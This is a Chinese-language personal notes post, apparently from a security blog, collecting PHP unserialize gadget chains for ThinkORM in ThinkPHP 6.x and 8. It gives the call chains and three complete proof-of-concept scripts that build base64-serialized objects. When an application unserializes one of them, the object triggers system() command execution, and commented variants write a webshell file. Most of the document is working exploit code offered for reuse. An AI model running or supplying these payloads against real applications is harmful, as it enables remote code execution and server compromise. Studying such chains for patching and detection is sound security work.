记录下,省得自己到时候用到了到处翻找。
主要依赖ThinkORM,两个都是利用 think\Model
中组合的\think\model\concern\Conversion
中的 __toString
触发的,其他的版本应该也通用,没测试过
这套只要找能触发 __toString
的就行, poc比较短也比较简单
<?php
namespace think{
abstract class Model{
private $lazySave = true;
private $data = [];
private $exists = false;
protected $table;
protected $suffix;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($cmd){
$this->data = ['cmd' => [$cmd]];
$this->withAttr = ['cmd' => ['system']];
$this->json = ['cmd'];
$this->jsonAssoc = True;
// 如果有disable_function 也可以写文件到 ./shell.php
//$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
//$this->withAttr = ['cmd' => ['file_put_contents']];
//$this->json = ['cmd'];
//$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
use think\model\Pivot;
$a = new Pivot("calc");
echo base64_encode(serialize($a));
}
?>
//触发 __toString 就行
$b = unserialize(".....")
echo $b . "aaa";
thinkphp6.x
调用链 \think\Model::__destruct
–> \think\Model::save
–> \think\Model::updateData
–> \think\Model::checkAllowFields
–> $this->table . $this->suffix
字符串拼接,触发 __toString
<?php
namespace think{
abstract class Model{
private $lazySave = true;
private $data = [];
private $exists = false;
protected $table;
protected $suffix;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($cmd){
$this->table = $this;
$this->suffix = "pankas";
$this->data = ['cmd' => [$cmd]];
$this->withAttr = ['cmd' => ['system']];
$this->json = ['cmd'];
$this->jsonAssoc = True;
// 如果有disable_function 也可以写文件到 ./shell.php
//$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
//$this->withAttr = ['cmd' => ['file_put_contents']];
//$this->json = ['cmd'];
//$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
use think\model\Pivot;
$a = new Pivot("calc");
echo base64_encode(serialize($a));
}
thinkphp8
调用链 \think\route\ResourceRegister::__destruct
–> \think\route\ResourceRegister::register
–> \think\route\Resource::parseGroupRule
–> $item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';
触发 __toString
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($cmd){
$this->data = ['cmd' => [$cmd]];
$this->withAttr = ['cmd' => ['system']];
$this->json = ['cmd'];
$this->jsonAssoc = True;
// 如果有disable_function 也可以写文件到 ./shell.php
//$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
//$this->withAttr = ['cmd' => ['file_put_contents']];
//$this->json = ['cmd'];
//$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\route {
use think\model\Pivot;
class Route {
}
class Resource {
protected $rule;
protected $router;
protected $name;
protected $rest;
protected $option;
public function __construct($cmd) {
$this->rule = "pankas";
$this->router = new Route();
$this->name = "pankas";
$this->rest = [['a', '<id>']];
$this->option = ['var'=>[$this->rule=>new Pivot($cmd)]];
}
}
class ResourceRegister {
public function __construct($cmd)
{
$this->registered = false;
$this->resource = new Resource($cmd);
}
}
}
namespace {
use think\route\ResourceRegister;
echo base64_encode(serialize(new ResourceRegister("calc")));
}